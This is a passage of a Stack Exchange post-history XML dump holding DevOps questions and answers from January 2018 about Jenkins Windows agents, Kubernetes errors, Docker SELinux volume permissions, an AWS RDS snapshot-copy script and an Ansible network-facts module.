ContentLicense="CC BY-SA 3.0" />
  <row Id="9684" PostHistoryTypeId="1" PostId="3081" RevisionGUID="ba53e792-beab-4390-a0a4-0d2c4b9e3ee0" CreationDate="2018-01-15T03:50:57.830" UserId="5859" Text="How can a Windows server be a slave to Jenkins running on Linux when there in an error installing the slave-agent.jnlp file?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9685" PostHistoryTypeId="3" PostId="3081" RevisionGUID="ba53e792-beab-4390-a0a4-0d2c4b9e3ee0" CreationDate="2018-01-15T03:50:57.830" UserId="5859" Text="&lt;jenkins&gt;&lt;windows&gt;&lt;linux&gt;&lt;jenkinsfile&gt;&lt;jenkins2&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9686" PostHistoryTypeId="5" PostId="3081" RevisionGUID="16267ee5-8dca-4b50-8cfc-fb75312701b8" CreationDate="2018-01-15T04:25:50.390" UserId="5859" Comment="Added version of Linux." Text="I want to have a Windows Server 2016 slave node with a master Jenkins (version 2.89.2) running on Red Hat Enterprise Linux 7.x.  I am trying to install the slave-agent.jnlp file from the Jenkins web UI on the Windows server.  I run this command for PowerShell opened as administrator:&#xD;&#xA;&#xD;&#xA;    javaws -verbose C:\Users\Administrator\Downloads\slave-agent.jnlp&#xD;&#xA;&#xD;&#xA;I receive this error: &#xD;&#xA;&#xD;&#xA;    Error: The field &lt;jnlp&gt;&lt;application-desc&gt;&lt;argument&gt; has an invalid value:&#xD;&#xA;    &#xD;&#xA;    Launch File&#xD;&#xA;    &#xD;&#xA;    &lt;jnlp codebase=&quot;http://FQDNofJenkinsServer:8080/computer/FQDNofWindowsSlave/&quot; spec=&quot;1.0+&quot;&gt;&lt;information&gt;&lt;title&gt;Agent for FQDNofWindowsSlave&lt;/title&gt;&lt;vendor&gt;Jenkins project&lt;/vendor&gt;&lt;homepage href=&quot;https://jenkins-ci.org/&quot;/&gt;&lt;/information&gt;&lt;security&gt;&lt;all-permissions/&gt;&lt;/security&gt;&lt;resources&gt;&lt;j2se version=&quot;1.8+&quot;/&gt;&lt;jar href=&quot;http://FQDNofJenkinsServer:8080/jnlpJars/remoting.jar&quot;/&gt;&lt;/resources&gt;&lt;application-desc main-class=&quot;hudson.remoting.jnlp.Main&quot;&gt;&lt;argument&gt;32ba31ca5f150c2b3491802b0b60e56574d970a9e601cebad656a113fe325a85&lt;/argument&gt;&lt;argument&gt;FQDNofWindowsSlave&lt;/argument&gt;&lt;argument&gt;-workDir&lt;/argument&gt;&lt;argument/&gt;&lt;argument&gt;-internalDir&lt;/argument&gt;&lt;argument/&gt;&lt;argument&gt;-url&lt;/argument&gt;&lt;argument&gt;http://FQDNofJenkinsServer:8080/&lt;/argument&gt;&lt;/application-desc&gt;&lt;/jnlp&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    Exception&#xD;&#xA;    &#xD;&#xA;    BadFieldException[ The field &lt;jnlp&gt;&lt;application-desc&gt;&lt;argument&gt; has an invalid value: ,]&#xD;&#xA;    	at com.sun.javaws.jnl.XMLFormat$10.visitElement(Unknown Source)&#xD;&#xA;    	at com.sun.javaws.jnl.XMLUtils.visitElements(Unknown Source)&#xD;&#xA;    	at com.sun.javaws.jnl.XMLFormat.buildApplicationDesc(Unknown Source)&#xD;&#xA;    	at com.sun.javaws.jnl.XMLFormat.process(Unknown Source)&#xD;&#xA;    	at com.sun.javaws.jnl.XMLFormat.parse(Unknown Source)&#xD;&#xA;    	at com.sun.javaws.jnl.LaunchDescFactory.buildDescriptor(Unknown Source)&#xD;&#xA;    	at com.sun.javaws.jnl.LaunchDescFactory.buildDescriptor(Unknown Source)&#xD;&#xA;    	at com.sun.javaws.Main.launchApp(Unknown Source)&#xD;&#xA;    	at com.sun.javaws.Main.continueInSecureThread(Unknown Source)&#xD;&#xA;    	at com.sun.javaws.Main.access$000(Unknown Source)&#xD;&#xA;    	at com.sun.javaws.Main$1.run(Unknown Source)&#xD;&#xA;    	at java.lang.Thread.run(Unknown Source)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I expect the command to work.  I do not understand the error message.  What should I do?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9687" PostHistoryTypeId="5" PostId="1502" RevisionGUID="a10e43f1-b978-4a44-853e-86f08bc03938" CreationDate="2018-01-15T04:36:16.290" UserId="2845" Comment="added 171 characters in body" Text="The fire hose is a reference to an old Weird Al Yankovick movie, [UHF (1989)](http://www.imdb.com/title/tt0098546/). In [this movie,](https://en.wikipedia.org/wiki/UHF_(film)) George Newman (portrayed by Yankovick) starts a local TV channel in the UHF band and is responsible for programming on the channel. After befriending the Station's Janitor, Stanley Spadowski, (portrayed by Michael Richards) George gives the Janitor a slot to run a show of his own making. The show, entitled &quot;Stanley Spadowski's clubhouse&quot; becomes an overnight sensation due to Spadowski's zany antics.&#xD;&#xA;&#xD;&#xA;During a gameshow segment on the show, [(video)](https://www.youtube.com/watch?v=IueMdK9I4Qg) Spadowski announces that a little boy, Joel Miller has &quot;won&quot; a contest by finding a marble in a wading pool of oatmeal and &quot;gets to drink from the firehose!&quot; - and this seems to be the likely origin of the term.&#xD;&#xA;&#xD;&#xA;[![Stanley Spadowski's Clubhouse from UHF (1989)][1]][1]&#xD;&#xA;&#xD;&#xA;An oft-repeated sentiment in IT is that trying to comprehend a vast amount of material in a short amount of time (such as is the case when starting a new job, taking a training course or seminar on a technological subject or learning about a new product or device) is like &quot;attempting to drink from a firehose&quot; - it is nearly impossible to consume the entirety of such a large volume of information that is directed at you with such a rapid flow - a direct reference to the above scene.&#xD;&#xA;&#xD;&#xA;It appears that in an attempt at humor, Cloudfoundry has chosen to call their Websocket &quot;The Firehose&quot; because websockets are used to &quot;[*stream* all application event data](https://docs.cloudfoundry.org/adminguide/supporting-websockets.html#understand)&quot; (which they apparently regard as voluminous) most likely in reference to this sentiment/saying and scene.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/wxZNF.jpg" ContentLicense="CC BY-SA 3.0" />
  <row Id="9688" PostHistoryTypeId="5" PostId="2956" RevisionGUID="8e3e4f2f-6800-4f64-b121-b22929d099d8" CreationDate="2018-01-15T05:54:46.650" UserId="5859" Comment="Response to an answer." Text="I cannot create a kubernetes pod.  I just deployed Kubernetes to Ubuntu 16.04.&#xD;&#xA;&#xD;&#xA;I have this as a.yml:&#xD;&#xA;&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: ReplicationController&#xD;&#xA;    metadata:&#xD;&#xA;      name: nginx&#xD;&#xA;    spec:&#xD;&#xA;      replicas: 2&#xD;&#xA;      selector:&#xD;&#xA;        app: nginx&#xD;&#xA;      template:&#xD;&#xA;        metadata:&#xD;&#xA;          name: nginx&#xD;&#xA;          labels:&#xD;&#xA;            app: nginx&#xD;&#xA;        spec:&#xD;&#xA;          containers:&#xD;&#xA;          - name: nginx&#xD;&#xA;            image: nginx&#xD;&#xA;            ports:&#xD;&#xA;            - containerPort: 80&#xD;&#xA;&#xD;&#xA;I run this: `kubectl create -f a.yml`&#xD;&#xA;&#xD;&#xA;I get this: &#xD;&#xA;&#xD;&#xA;&gt; Error from server (NotFound): the server could not find the requested&#xD;&#xA;&gt; resource&#xD;&#xA;&#xD;&#xA;I expected the above command to create a pod.&#xD;&#xA;&#xD;&#xA;I ran this: `kubectl cluster-info dump`&#xD;&#xA;&#xD;&#xA;I got this:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;        &quot;selfLink&quot;: &quot;/api/v1/nodes&quot;,&#xD;&#xA;        &quot;resourceVersion&quot;: &quot;185&quot;,&#xD;&#xA;        &quot;Items&quot;: [&#xD;&#xA;            {&#xD;&#xA;                &quot;name&quot;: &quot;ip-10-10-10-10&quot;,&#xD;&#xA;                &quot;selfLink&quot;: &quot;/api/v1/nodes/ip-10-10-10-10&quot;,&#xD;&#xA;                &quot;uid&quot;: &quot;cdc51051-ea07-11e7-b7ae-025c31abfac0&quot;,&#xD;&#xA;                &quot;resourceVersion&quot;: &quot;185&quot;,&#xD;&#xA;                &quot;creationTimestamp&quot;: &quot;2017-12-26T06:41:29Z&quot;,&#xD;&#xA;                &quot;labels&quot;: {&#xD;&#xA;                    &quot;kubernetes.io/hostname&quot;: &quot;ip-10-10-10-10&quot;&#xD;&#xA;                },&#xD;&#xA;                &quot;Spec&quot;: {&#xD;&#xA;                    &quot;PodCIDR&quot;: &quot;&quot;,&#xD;&#xA;                    &quot;ExternalID&quot;: &quot;ip-10-10-10-10&quot;,&#xD;&#xA;                    &quot;ProviderID&quot;: &quot;&quot;,&#xD;&#xA;                    &quot;Unschedulable&quot;: false,&#xD;&#xA;                    &quot;Taints&quot;: null,&#xD;&#xA;                    &quot;ConfigSource&quot;: null&#xD;&#xA;                },&#xD;&#xA;                &quot;Status&quot;: {&#xD;&#xA;                    &quot;Capacity&quot;: {&#xD;&#xA;                        &quot;cpu&quot;: &quot;0&quot;,&#xD;&#xA;                        &quot;memory&quot;: &quot;0&quot;,&#xD;&#xA;                        &quot;pods&quot;: &quot;40&quot;&#xD;&#xA;                    },&#xD;&#xA;                    &quot;Allocatable&quot;: {&#xD;&#xA;                        &quot;cpu&quot;: &quot;0&quot;,&#xD;&#xA;                        &quot;memory&quot;: &quot;0&quot;,&#xD;&#xA;                        &quot;pods&quot;: &quot;40&quot;&#xD;&#xA;                    },&#xD;&#xA;                    &quot;Phase&quot;: &quot;&quot;,&#xD;&#xA;                    &quot;Conditions&quot;: [&#xD;&#xA;                        {&#xD;&#xA;                            &quot;Type&quot;: &quot;Ready&quot;,&#xD;&#xA;                            &quot;Status&quot;: &quot;True&quot;,&#xD;&#xA;                            &quot;LastHeartbeatTime&quot;: &quot;2017-12-26T07:03:01Z&quot;,&#xD;&#xA;                            &quot;LastTransitionTime&quot;: &quot;2017-12-26T06:41:29Z&quot;,&#xD;&#xA;                            &quot;Reason&quot;: &quot;kubelet is posting ready status&quot;,&#xD;&#xA;                            &quot;Message&quot;: &quot;&quot;&#xD;&#xA;                        }&#xD;&#xA;                    ],&#xD;&#xA;                    &quot;Addresses&quot;: [&#xD;&#xA;                        {&#xD;&#xA;                            &quot;Type&quot;: &quot;LegacyHostIP&quot;,&#xD;&#xA;                            &quot;Address&quot;: &quot;10.10.10.10&quot;&#xD;&#xA;                        }&#xD;&#xA;                    ],&#xD;&#xA;                    &quot;DaemonEndpoints&quot;: {&#xD;&#xA;                        &quot;KubeletEndpoint&quot;: {&#xD;&#xA;                            &quot;Port&quot;: 0&#xD;&#xA;                        }&#xD;&#xA;                    },&#xD;&#xA;                    &quot;NodeInfo&quot;: {&#xD;&#xA;                        &quot;MachineID&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;SystemUUID&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;BootID&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;KernelVersion&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;OSImage&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;ContainerRuntimeVersion&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;KubeletVersion&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;KubeProxyVersion&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;OperatingSystem&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;Architecture&quot;: &quot;&quot;&#xD;&#xA;                    },&#xD;&#xA;                    &quot;Images&quot;: null,&#xD;&#xA;                    &quot;VolumesInUse&quot;: null,&#xD;&#xA;                    &quot;VolumesAttached&quot;: null&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        ] } {&#xD;&#xA;        &quot;selfLink&quot;: &quot;/api/v1/namespaces/kube-system/events&quot;,&#xD;&#xA;        &quot;resourceVersion&quot;: &quot;185&quot;,&#xD;&#xA;        &quot;Items&quot;: [] } {&#xD;&#xA;        &quot;selfLink&quot;: &quot;/api/v1/namespaces/kube-system/replicationcontrollers&quot;,&#xD;&#xA;        &quot;resourceVersion&quot;: &quot;185&quot;,&#xD;&#xA;        &quot;Items&quot;: [] } {&#xD;&#xA;        &quot;selfLink&quot;: &quot;/api/v1/namespaces/kube-system/services&quot;,&#xD;&#xA;        &quot;resourceVersion&quot;: &quot;185&quot;,&#xD;&#xA;        &quot;Items&quot;: [] } Error from server (NotFound): the server could not find the requested resource (get daemonsets.extensions)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What am I doing wrong?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Update 12/26/17&#xD;&#xA;&#xD;&#xA;The command `kubectl get ns` produces &#xD;&#xA;&#xD;&#xA;&gt; the server doesn't have a resource type &quot;namespaces&quot;&#xD;&#xA;&#xD;&#xA;$ `kubectl version`&#xD;&#xA;&#xD;&#xA;&gt; Client Version: version.Info{Major:&quot;1&quot;, Minor:&quot;9&quot;,&#xD;&#xA;&gt; GitVersion:&quot;v1.9.0&quot;,&#xD;&#xA;&gt; GitCommit:&quot;925c127ec6b946659ad0fd596fa959be43f0cc05&quot;,&#xD;&#xA;&gt; GitTreeState:&quot;clean&quot;, BuildDate:&quot;2017-12-15T21:07:38Z&quot;,&#xD;&#xA;&gt; GoVersion:&quot;go1.9.2&quot;, Compiler:&quot;gc&quot;, Platform:&quot;linux/amd64&quot;} Server&#xD;&#xA;&gt; Version: version.Info{Major:&quot;1&quot;, Minor:&quot;0&quot;, GitVersion:&quot;v1.0.3&quot;,&#xD;&#xA;&gt; GitCommit:&quot;61c6ac5f350253a4dc002aee97b7db7ff01ee4ca&quot;,&#xD;&#xA;&gt; GitTreeState:&quot;clean&quot;, BuildDate:&quot;&quot;, GoVersion:&quot;&quot;, Compiler:&quot;&quot;,&#xD;&#xA;&gt; Platform:&quot;&quot;}&#xD;&#xA;&#xD;&#xA;Update 1/15/18&#xD;&#xA;How do I get some namespaces to be returned?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9695" PostHistoryTypeId="50" PostId="1561" RevisionGUID="a94ee285-3132-4078-890d-179923361dba" CreationDate="2018-01-15T14:00:28.077" UserId="-1" />
  <row Id="9696" PostHistoryTypeId="50" PostId="2341" RevisionGUID="1e296b74-8aed-4747-b39d-67c1b6fd703e" CreationDate="2018-01-15T17:00:40.520" UserId="-1" />
  <row Id="9697" PostHistoryTypeId="34" PostId="2843" RevisionGUID="437ae744-84c6-459c-9a66-a18747532835" CreationDate="2018-01-15T17:18:19.920" UserId="228" Comment="14" />
  <row Id="9698" PostHistoryTypeId="2" PostId="3083" RevisionGUID="956fa4ae-806c-47f1-8845-685fc67de17a" CreationDate="2018-01-15T18:25:28.043" UserId="6089" Text="I want to run my php website in a container with apache and php7 &#xD;&#xA;I am using this docker image : https://hub.docker.com/r/nimmis/apache-php7/&#xD;&#xA;&#xD;&#xA;I run Fedora so I enter the example command given in docker hub in my terminal.&#xD;&#xA;&#xD;&#xA;    docker run -d -p 8080:80 -v {my_php_app_path}:/var/www/html nimmis/apache-php7&#xD;&#xA;&#xD;&#xA;The container pull and run fine. But once i try to access the asset (on localhost:8080) I mounted to it, I receive a 403 error. So now i try to connect to the container to see what happens. &#xD;&#xA;&#xD;&#xA;I use the command adviced by the author:&#xD;&#xA;&#xD;&#xA;    docker exec -ti &lt;container id&gt; /bin/bash&#xD;&#xA;&#xD;&#xA;Once in it, I cd to /var/www/html all the file are presents but I cant read or ls in the folder. the root of the container cant do anythig with it. Here is what I get :&#xD;&#xA;&#xD;&#xA;    &gt;&gt;&gt; root@a1f13dc4c29d:/var/www/html# ls&#xD;&#xA;    &gt;&gt;&gt; ls: cannot open directory '.': Permission denied&#xD;&#xA;&#xD;&#xA;Why is it that way ? Am I missing a step ?&#xD;&#xA;&#xD;&#xA;Any help would be loved :D&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9699" PostHistoryTypeId="1" PostId="3083" RevisionGUID="956fa4ae-806c-47f1-8845-685fc67de17a" CreationDate="2018-01-15T18:25:28.043" UserId="6089" Text="Apache container cant access php files mounted in /var/www/ - 403 error" ContentLicense="CC BY-SA 3.0" />
  <row Id="9700" PostHistoryTypeId="3" PostId="3083" RevisionGUID="956fa4ae-806c-47f1-8845-685fc67de17a" CreationDate="2018-01-15T18:25:28.043" UserId="6089" Text="&lt;docker&gt;&lt;linux&gt;&lt;php&gt;&lt;apache-httpd&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9701" PostHistoryTypeId="2" PostId="3084" RevisionGUID="cf104a7f-1866-4e2f-ae8e-47c1e5b781c6" CreationDate="2018-01-15T22:52:40.987" UserId="4115" Text="It's much easier to use scripted Pipelines to do this since you can use arbitrary Groovy, but you should still be able to do this with declarative Pipelines using the [`findFiles`](https://jenkins.io/doc/pipeline/steps/pipeline-utility-steps/#code-findfiles-code-find-files-in-the-workspace) step." ContentLicense="CC BY-SA 3.0" />
  <row Id="9702" PostHistoryTypeId="2" PostId="3085" RevisionGUID="ff93df1d-9c2a-4799-97ca-404701b2d862" CreationDate="2018-01-16T06:05:06.790" UserId="6089" Text="SELinux prevent the docker filesystem to work in the intended way, to fix this issue just add the :Z flag at the end of the volume declaration. It goes something like this:&#xD;&#xA;&#xD;&#xA;    docker run -d -p 8080:80 -v {my_php_app_path}:/var/www/html:Z nimmis/apache-php7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9703" PostHistoryTypeId="5" PostId="3036" RevisionGUID="c4e502a4-cf10-485d-8a8f-8f625f2c630c" CreationDate="2018-01-16T07:03:29.483" UserId="887" Comment="added 164 characters in body" Text="You will require a **script** that interacts with the **AWS cli** to accomplish your goal.&#xD;&#xA;&#xD;&#xA;To list encrypted drives I use the following query when describing the DB snapshots `--query 'DBSnapshots[*].[DBSnapshotArn,Encrypted]'`&#xD;&#xA;&#xD;&#xA;I have put together the following script which will **look for all encrypted DBS snapshots and then copy all of them to a different region**. It can also be modified to copy unencrypted snapshots to a different region and then encrypt them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; I have explained the script in the comments. It is quite **dirty**...&#xD;&#xA;&gt; so feel free to **improve** it!&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env bash&#xD;&#xA;    #&#xD;&#xA;    # Copy encrypted or unencrypted DBSnapshots to an encrypted DBSnapshot in a different region&#xD;&#xA;    #&#xD;&#xA;    &#xD;&#xA;    aws_profile=&quot;&quot; &#xD;&#xA;    aws_source_region=&quot;&quot; &#xD;&#xA;    aws_dest_region=&quot;&quot; &#xD;&#xA;    aws_kms_key_id=&quot;&quot; #destination kms key ID &#xD;&#xA;    num=1&#xD;&#xA;    &#xD;&#xA;    aws --profile &quot;${aws_profile}&quot; --region &quot;${aws_source_region}&quot; rds describe-db-snapshots \&#xD;&#xA;      --query 'DBSnapshots[*].[DBSnapshotArn,Encrypted]' \  &#xD;&#xA;      --output text &gt; rds-snapshots-list.txt&#xD;&#xA;    &#xD;&#xA;    echo &quot;Encrypted snapshots&quot; &#xD;&#xA;    awk '{IGNORECASE=1}{if ($2 == &quot;True&quot;) print}' rds-snapshots-list.txt #Show list of encrypted snapshots &#xD;&#xA;    echo &quot;Unencrypted snapshots&quot; &#xD;&#xA;    awk '{IGNORECASE=1}{if ($2 == &quot;False&quot;) print}' rds-snapshots-list.txt #Show list of unencrypted snapshots&#xD;&#xA;    &#xD;&#xA;    IFS=$'\n' read -d '' -r -a rds_list_lines &lt; rds-snapshots-list.txt #Move txt file content into an array&#xD;&#xA;    &#xD;&#xA;    echo &quot;Copying encrypted snapshots from ${aws_source_region} to ${aws_dest_region}&quot; &#xD;&#xA;    for i in &quot;${rds_list_lines[@]}&quot;; do #Loop through array   &#xD;&#xA;    if [[ &quot;${i}&quot; == *&quot;True&quot;* ]]; then #Check for encrypted rds snapshot &amp; if true copy snapshot&#xD;&#xA;        source_snapshot_ident=&quot;$( echo &quot;${i}&quot; | sed 's/[[:blank:]]True.*//')&quot; #Remove all spaces tabs and the word true&#xD;&#xA;        target_snapshot_ident=&quot;$( echo &quot;$source_snapshot_ident&quot; | sed 's/.*:snapshot:rds:.//')snapshotcopy$num&quot; #Name of target snapshot with incrementing number&#xD;&#xA;        ((num++))&#xD;&#xA;    &#xD;&#xA;        aws --profile &quot;${aws_profile}&quot; --region &quot;${aws_dest_region}&quot; rds copy-db-snapshot \&#xD;&#xA;          --source-db-snapshot-identifier &quot;${source_snapshot_ident}&quot; \&#xD;&#xA;          --target-db-snapshot-identifier &quot;${target_snapshot_ident}&quot; \&#xD;&#xA;          --source-region &quot;${aws_source_region}&quot; \&#xD;&#xA;          --kms-key-id &quot;${aws_kms_key_id}&quot;   &#xD;&#xA;    fi &#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9704" PostHistoryTypeId="2" PostId="3086" RevisionGUID="324865c1-59ae-47f6-ba9b-3070e50511c8" CreationDate="2018-01-16T08:59:16.590" UserId="5879" Text="My setup is based on a Flask app that has a PostgreSQL and Redis database. In addition, a worker process is started to handle asynchronous tasks such as sending emails. I use Gunicorn to create multiple app processes. Passing of jobs from the app processes to the worker process is done via Redis.&#xA;&#xA;The question is, should the worker process be started in a separate container despite being based on the same code? Currently I use a start script with the relevant bit:&#xA;&#xA;    gunicorn --bind=0.0.0.0:8000 --workers=3 manage:app &amp;&#xA;    python -u manage.py run_worker&#xA;&#xA;Also if they are to be separated, how can I ensure that they reuse the common file system container? Additionally, when scaling either Gunicorn with the main app or the worker processes, should additional instances of the container be created or the number of processes within a container be increased?&#xA;&#xA;Related: https://devops.stackexchange.com/q/2089/5879" ContentLicense="CC BY-SA 3.0" />
  <row Id="9705" PostHistoryTypeId="1" PostId="3086" RevisionGUID="324865c1-59ae-47f6-ba9b-3070e50511c8" CreationDate="2018-01-16T08:59:16.590" UserId="5879" Text="Should worker processes of web applications be placed in separate containers?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9706" PostHistoryTypeId="3" PostId="3086" RevisionGUID="324865c1-59ae-47f6-ba9b-3070e50511c8" CreationDate="2018-01-16T08:59:16.590" UserId="5879" Text="&lt;docker&gt;&lt;containers&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9710" PostHistoryTypeId="2" PostId="3087" RevisionGUID="21281b77-f1ab-4973-8d1c-a01d8a6f7fdf" CreationDate="2018-01-16T13:25:42.737" UserId="6097" Text="I can think of only one case where overhead of running workers in separate containers is justified: if your setup uses docker swarm for clustered deployment. This way you will get all of the HA benefits.&#xD;&#xA;&#xD;&#xA;Otherwise I don't see a reason to complicate such tasks, especially if they must use strictly the same codebase (which leads me to believe that they share one domain of concerns, so to say). It might seem elegant, but I just don't see enough benefits&#xD;&#xA;&#xD;&#xA;p.s. any split of such kind will force you to manage interconnection and complicate setup for local development" ContentLicense="CC BY-SA 3.0" />
  <row Id="9711" PostHistoryTypeId="5" PostId="1318" RevisionGUID="22a45b6e-e777-4e0d-99c9-243ad99f52cd" CreationDate="2018-01-16T15:14:14.513" UserId="1084" Comment="added 153 characters in body" Text="Peter's module not working in CentOS and I write my own module:&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/python&#xD;&#xA;    # encoding: utf-8&#xD;&#xA;    &#xD;&#xA;    import subprocess&#xD;&#xA;    from ansible.module_utils.basic import *&#xD;&#xA;    from netaddr import IPNetwork&#xD;&#xA;    &#xD;&#xA;    def get_priv_interface_info_for_ip(ip):&#xD;&#xA;        network_config = subprocess.Popen([&quot;/usr/sbin/ip&quot;, &quot;-o&quot;, &quot;addr&quot;, &quot;show&quot;], stdout=subprocess.PIPE)&#xD;&#xA;        result = network_config.stdout.read()&#xD;&#xA;        interface = &quot;&quot;&#xD;&#xA;        network = ''&#xD;&#xA;        ip_addr = ip&#xD;&#xA;        for str in result.split(&quot;\n&quot;):&#xD;&#xA;            if 'inet ' in str:&#xD;&#xA;                if ip in str:&#xD;&#xA;                    interface = str[3:str.find(&quot; &quot;, 3)]&#xD;&#xA;                    network = IPNetwork(str[str.find(&quot;net&quot;, 3) + 4:str.find(&quot;/&quot;, 3) + 3]).cidr&#xD;&#xA;    &#xD;&#xA;        return interface, ip_addr, network&#xD;&#xA;    &#xD;&#xA;    def get_pub_interface_info_for_ip(ip):&#xD;&#xA;        network_config = subprocess.Popen([&quot;/usr/sbin/ip&quot;, &quot;-o&quot;, &quot;addr&quot;, &quot;show&quot;], stdout=subprocess.PIPE)&#xD;&#xA;        result = network_config.stdout.read()&#xD;&#xA;        interface = ''&#xD;&#xA;        network = ''&#xD;&#xA;        ip_addr = ''&#xD;&#xA;        for str in result.split(&quot;\n&quot;):&#xD;&#xA;            if 'inet ' in str:&#xD;&#xA;                if ip not in str and '127.0.0.1' not in str:&#xD;&#xA;                    print str&#xD;&#xA;                    interface = str[3:str.find(&quot; &quot;, 3)]&#xD;&#xA;                    network = IPNetwork(str[str.find(&quot;net&quot;, 3) + 4:str.find(&quot;/&quot;, 3) + 3]).cidr&#xD;&#xA;                    ip_addr = str[str.find(&quot;net&quot;, 3) + 4:str.find(&quot;/&quot;, 3)]&#xD;&#xA;    &#xD;&#xA;        return interface, ip_addr, network&#xD;&#xA;    &#xD;&#xA;    def main(argv=None):&#xD;&#xA;        if argv is None:&#xD;&#xA;            argv = sys.argv&#xD;&#xA;    &#xD;&#xA;        fields = {&quot;ip&quot;: {&quot;required&quot;: True, &quot;type&quot;: &quot;str&quot;}}&#xD;&#xA;        module = AnsibleModule(argument_spec=fields)&#xD;&#xA;        my_ip = module.params['ip']&#xD;&#xA;        ifname_priv, ip_priv, network_priv = get_priv_interface_info_for_ip(my_ip)&#xD;&#xA;        ifname_pub, ip_pub, network_pub = get_pub_interface_info_for_ip(my_ip)&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;        module.exit_json(changed=True, ifname_priv=ifname_priv, ip_priv=my_ip, network_priv=str(network_priv), ifname_pub=ifname_pub, ip_pub=ip_pub, network_pub=str(network_pub))&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    if __name__ == '__main__':&#xD;&#xA;        main()&#xD;&#xA;&#xD;&#xA;It works for servers with two network interfaces and provide information about public and private network interfaces.&#xD;&#xA;&#xD;&#xA;Actual version of this module could be found in [my GitHub][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/ATolkachev/ansible/blob/master/library/get_ip_facts.py" ContentLicense="CC BY-SA 3.0" />
  <row Id="9712" PostHistoryTypeId="5" PostId="2090" RevisionGUID="67557fa8-e6cd-46cd-9952-13e10cb26e31" CreationDate="2018-01-16T15:20:21.563" UserId="13" Comment="added 51 characters in body" Text="PHP with nginx is usually done using php-fpm which is a separate processus.&#xD;&#xA;&#xD;&#xA;Keeping the core idea of docker of one process (see end of answer for more details on this point) per container this makes sense to have the nginx process and php-fpm process in separate containers.&#xD;&#xA;&#xD;&#xA;As the communication between nginx and php-fpm arise through fastcgi the php-fpm container can also be on a separated host and this allows using a cluster of php-fpm containers behind nginx.&#xD;&#xA;&#xD;&#xA;After the wall of comment here's a little more background, docker documentation have paragraph about the idea that [a container should have only one concern](https://docs.docker.com/engine/userguide/eng-image/dockerfile_best-practices/#each-container-should-have-only-one-concern).&#xD;&#xA;&#xD;&#xA;The main idea of a linux container (**lxc**) is to run a process in an isolated namespace at the cpu and memory level, docker add on top of this an isolation at the filesystem level.  &#xD;&#xA;The advantage is that the compromission of a process within this namespace won't allow to read memory of other processes and as such should prevent other compromission on the host.&#xD;&#xA;&#xD;&#xA;While talking about nginx and php-fpm, they work in pair but each has it's own concern, nginx will do the HTTP part, routing, headers validation, etc. and php-fpm will do the code interpretation and return the html part to nginx. While it's usual to have both together serving a single application that's not mandatory.&#xD;&#xA;&#xD;&#xA;Depending on context it may be easier to have a container including the whole stack for an application, on a developer workstation for exemple. But ideally for production use, try to keep the fewer interaction inside the container, having separated processes in the same container with supervisord brings its share of problem in term of zombie process and log handling (exemple story [here](https://www.google.fr/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=1&amp;cad=rja&amp;uact=8&amp;ved=0ahUKEwi6u6DSsbjWAhVmqFQKHcGjBXwQFggnMAA&amp;url=https%3A%2F%2Fblog.deimos.fr%2F2016%2F01%2F13%2Fdocker-why-you-should-use-monit-instead-of-supervisord%2F&amp;usg=AFQjCNGSFNEpM5C7dTlLQ1czMyW89FFepw) for illustration purpose only).&#xD;&#xA;&#xD;&#xA;So finally I'll quote the docker page with some emphasis:&#xD;&#xA;&#xD;&#xA;&gt; While “one process per container” is frequently a good rule of thumb, it is not a hard and fast rule. **Use your best judgment to keep containers as clean and modular as possible**.&#xD;&#xA;&#xD;&#xA;There's no &quot;silver bullet rule&quot; which apply to everything, it's always a balance between the complexity within the container and the complexity orchestrating the containers themselves." ContentLicense="CC BY-SA 3.0" />
  <row Id="9714" PostHistoryTypeId="2" PostId="3089" RevisionGUID="c564ab71-047e-440a-8350-943a69f07569" CreationDate="2018-01-16T15:32:06.873" UserId="6098" Text="Sorry if title isn't correct.  I'm trying to figure out what to search for on this matter.&#xD;&#xA;&#xD;&#xA;I'm looking for the easiest way to automatically have my [semantic versioning][1] and commits visible on my site when commits / releases happen.&#xD;&#xA;&#xD;&#xA;I recently started using Git, GitHub, GitFlow, Axosoft, and GitKraken.    Are there any options, plugins, or RSS type feeds in those products that do this already or is this something I would have to create using Git webhooks which would call my site and insert into my DB?&#xD;&#xA;&#xD;&#xA;I can handle the PHP/MySQL.  I'm just looking for recommendations on how to setup the communication between the products I listed above so that I can create a PHP page showing this to my customers...&#xD;&#xA;&#xD;&#xA; - [timestamp] - RELEASE v2.1.1&#xD;&#xA; - [timestamp] - [axof: 2] ENHANCED XYZ [...a sentence or two of details...]&#xD;&#xA; - [timestamp] - RELEASE v2.0.1&#xD;&#xA; - [timestamp] - [axof: 1] BUG 